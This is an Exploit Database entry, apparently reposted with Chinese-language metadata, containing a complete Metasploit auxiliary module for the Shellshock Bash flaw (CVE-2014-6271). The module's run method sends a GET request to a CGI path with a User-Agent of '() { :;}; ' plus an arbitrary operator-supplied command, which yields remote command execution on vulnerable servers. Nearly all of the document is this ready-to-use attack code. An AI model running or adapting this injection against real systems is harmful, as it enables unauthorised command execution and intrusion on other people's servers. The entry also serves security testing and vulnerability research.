GNU Bash – Environment Variable Command Injection (Metasploit)

• Exploit Database
• 17 阅读

• 作者： Shaun Colley
  日期： 2014-09-25
• 类别：

  • remote
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/34777/

• require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'bashedCgi',
  'Description'=> %q{
   Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command. 
  },
  'Author' => 
  [ 
  'Stephane Chazelas',# vuln discovery 
  'Shaun Colley <scolley at ioactive.com>'# metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' => [ 'CVE', '2014-6271' ],
  'Targets'=> 
  [
  [ 'cgi', {} ]
  ],
  'DefaultTarget'=> 0,
  'Payload'=>
  {
  'Space'=> 1024,
  'DisableNops' => true
  },
  'DefaultOptions' => { 'PAYLOAD' => 0 } 
  ))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),
  OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])
  ], self.class)
  end
  
  def run 
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> datastore['TARGETURI'],
  'agent'=> "() { :;}; " + datastore['CMD']
  })
  
  if res && res.code == 200
  print_good("Command sent - 200 received")
  else
  print_error("Command sent - non-200 reponse")
  end
  end
  end